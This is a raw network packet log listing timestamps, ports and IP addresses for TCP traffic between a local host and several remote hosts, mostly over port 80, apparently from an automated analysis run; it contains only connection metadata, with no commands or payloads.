Nov 23, 2024 09:16:56.317658901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.317708015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.317751884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.317791939 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.318731070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.318847895 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.318892956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.319866896 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.319910049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.319953918 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.320022106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.320981026 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.321024895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.321121931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.321167946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.322069883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.322124958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.322176933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.322216034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.323245049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.323293924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.323368073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.323405981 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.324294090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.324330091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.324384928 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.324500084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.325366974 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.325414896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.325484991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.325530052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.326615095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.326663971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.326705933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.326744080 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.327596903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.327644110 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.327686071 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.327729940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.328692913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.328758955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.328809023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.329807043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.329855919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.329909086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.330034971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.330915928 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.330965996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.331033945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.331219912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.331988096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.332036972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.332081079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.332119942 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.332892895 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.332921028 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.332961082 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.332978964 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.332989931 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.332993031 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.333022118 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.333044052 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.333044052 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.333070993 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.333170891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.333214045 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.333362103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.333515882 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.334208012 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.334271908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.334307909 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.334346056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.335325956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.335380077 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.335422993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.335486889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.336569071 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.336637974 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.336673975 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.336787939 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.337503910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.337614059 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.337672949 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.338664055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.338712931 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.338783026 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.338830948 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.339740038 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.339790106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.339843988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.339890003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.339922905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.340825081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.340882063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.340961933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.341010094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.341941118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.341995955 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.342077017 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.342139006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.343024969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.343075037 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.343188047 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.343233109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.344096899 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.344144106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.396147013 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.396173000 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.396241903 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.396274090 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.396373987 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.404438972 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.404499054 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.415105104 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.415182114 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.415297985 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.415482998 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.415498972 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.415533066 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.415539026 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.418395042 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.418423891 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.418503046 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.418673038 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.418682098 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.425944090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.426007986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.426049948 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.426105022 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.426464081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.426531076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.426574945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.426615953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.427583933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.427635908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.427685022 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.427787066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.428704023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.428762913 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.428853035 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.428909063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.429781914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.429866076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.429874897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.429999113 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.431018114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.431071043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.431124926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.431170940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.431988001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.432091951 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.432094097 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.432132959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.433084965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.433180094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.433191061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.433386087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.434190989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.434246063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.434286118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.434446096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.440911055 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.440938950 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.441008091 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.441020012 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.441040993 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.441067934 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.441287994 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.441342115 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.446620941 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.446635962 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.446697950 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.446706057 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.446763039 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.452332973 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.452349901 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.452411890 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.452420950 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.452577114 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.458256006 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.458271027 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.458339930 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.458349943 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.458389997 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.463411093 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.463427067 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.463484049 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.463493109 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.463534117 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.469646931 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.469664097 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.469718933 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.469727993 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.469742060 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.469767094 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.474869967 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.474894047 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.475023985 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.475033998 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.475147009 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.494386911 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.494405985 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.494446993 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.494457006 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.494487047 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.494507074 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.494512081 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.497194052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.497252941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.497303009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.497373104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.497829914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.497872114 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.497883081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.497924089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.498833895 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.498884916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.498960018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.499042034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.499974966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.500020027 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.500087976 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.500158072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.501050949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.501172066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.501173019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.501218081 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.502168894 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.502253056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.502286911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.502331972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.503251076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.503356934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.503411055 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.504353046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.504456043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.504508018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.505477905 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.505528927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.505608082 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.505673885 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.506580114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.506630898 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.506678104 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.506733894 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.507673979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.507721901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.507788897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.507832050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.508845091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.508888960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.508919954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.508960009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.509882927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.509929895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.509938002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.510010004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.510979891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.511068106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.511084080 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.511204958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.512835026 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.512852907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.512886047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.512902021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.513217926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.513267040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.513401031 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.513470888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.514317036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.514365911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.514409065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.514450073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.515444040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.515479088 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.515495062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.515515089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.516474962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.516520023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.516657114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.516721010 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.517646074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.517714977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.517735958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.517779112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.518733978 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.518814087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.518840075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.518856049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.519829035 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.519875050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.519936085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.519984961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.520930052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.520965099 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.520992994 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.521011114 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.522058964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.522104025 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.522155046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.522229910 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.523147106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.523191929 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.523226023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.523267984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.524229050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.524276972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.524454117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.524496078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.525321960 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.525432110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.525464058 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.525482893 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.526467085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.526510954 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.526623011 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.526664972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.527518034 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.527549982 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.527564049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.527573109 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.527628899 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.527647972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.527657986 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.527676105 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.527686119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.527754068 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.528723001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.528779984 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.528831959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.529782057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.529834032 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.529840946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.529875040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.530868053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.530914068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.530955076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.530993938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.531929016 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.532004118 CET	49816	80	192.168.2.6	185.215.113.206
